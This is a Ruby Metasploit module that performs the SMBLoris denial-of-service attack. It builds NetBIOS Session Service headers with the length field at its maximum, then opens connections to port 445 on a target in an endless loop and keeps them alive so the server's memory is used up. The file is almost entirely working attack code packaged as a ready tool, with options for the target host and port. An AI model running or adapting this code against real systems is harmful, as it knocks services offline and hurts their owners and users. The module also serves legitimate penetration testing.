SMBLoris NBSS Denial of Service

`#!/usr/bin/env ruby  
  
require 'socket'  
require 'metasploit'  
  
require 'bindata'  
  
class NbssHeader < BinData::Record  
endian :little  
uint8 :message_type  
bit7 :flags  
bit17 :message_length  
end  
  
metadata = {  
name: 'SMBLoris NBSS Denial of Service',  
description: %q{  
The SMBLoris attack consumes large chunks of memory in the target by sending  
SMB requests with the NetBios Session Service(NBSS) Length Header value set  
to the maximum possible value. By keeping these connections open and initiating  
large numbers of these sessions, the memory does not get freed, and the server  
grinds to a halt. This vulnerability was originally disclosed by Sean Dillon  
and Zach Harding.  
  
DISCALIMER: This module opens a lot of simultaneous connections. Please check  
your system's ULIMIT to make sure it can handle it. This module will also run  
continuously until stopped.  
},  
authors: [  
'thelightcosine',  
'Adam Cammack <adam_cammack[at]rapid7.com>'  
],  
date: '2017-06-29',  
references: [  
{ type: 'url', ref: 'https://web.archive.org/web/20170804072329/https://smbloris.com/' },  
{ type: 'aka', ref: 'SMBLoris'}  
],  
type: 'dos',  
options: {  
rhost: {type: 'address', description: 'The target address', required: true, default: nil},  
rport: {type: 'port', description: 'SMB port on the target', required: true, default: 445},  
}  
}  
  
def run(args)  
header = NbssHeader.new  
header.message_length = 0x01FFFF  
  
last_reported = 0  
warned = false  
n_loops = 0  
sockets = []  
  
target = Addrinfo.tcp(args[:rhost], args[:rport].to_i)  
  
Metasploit.logging_prefix = "#{target.inspect_sockaddr} - "  
  
while true do  
begin  
sockets.delete_if do |s|  
s.closed?  
end  
  
nsock = target.connect(timeout: 360)  
nsock.setsockopt(Socket::SOL_SOCKET, Socket::SO_KEEPALIVE, true)  
nsock.setsockopt(Socket::Option.int(:INET, :TCP, :KEEPCNT, 5))  
nsock.setsockopt(Socket::Option.int(:INET, :TCP, :KEEPINTVL, 10))  
nsock.setsockopt(Socket::Option.linger(true, 60))  
nsock.write(header.to_binary_s)  
sockets << nsock  
  
n_loops += 1  
if last_reported != sockets.length  
if n_loops % 100 == 0  
last_reported = sockets.length  
Metasploit.log "#{sockets.length} socket(s) open", level: 'info'  
end  
elsif n_loops % 1000 == 0  
Metasploit.log "Holding steady at #{sockets.length} socket(s) open", level: 'info'  
end  
rescue Interrupt  
break  
sockets.each &:close  
rescue Errno::EMFILE  
Metasploit.log "At open socket limit with #{sockets.length} sockets open. Try increasing your system limits.", level: 'warning' unless warned  
warned = true  
sockets.slice(0).close  
rescue Exception => e  
Metasploit.log "Exception sending packet: #{e.message}", level: 'error'  
end  
end  
end  
  
if __FILE__ == $PROGRAM_NAME  
Metasploit.run(metadata, method(:run))  
end  
`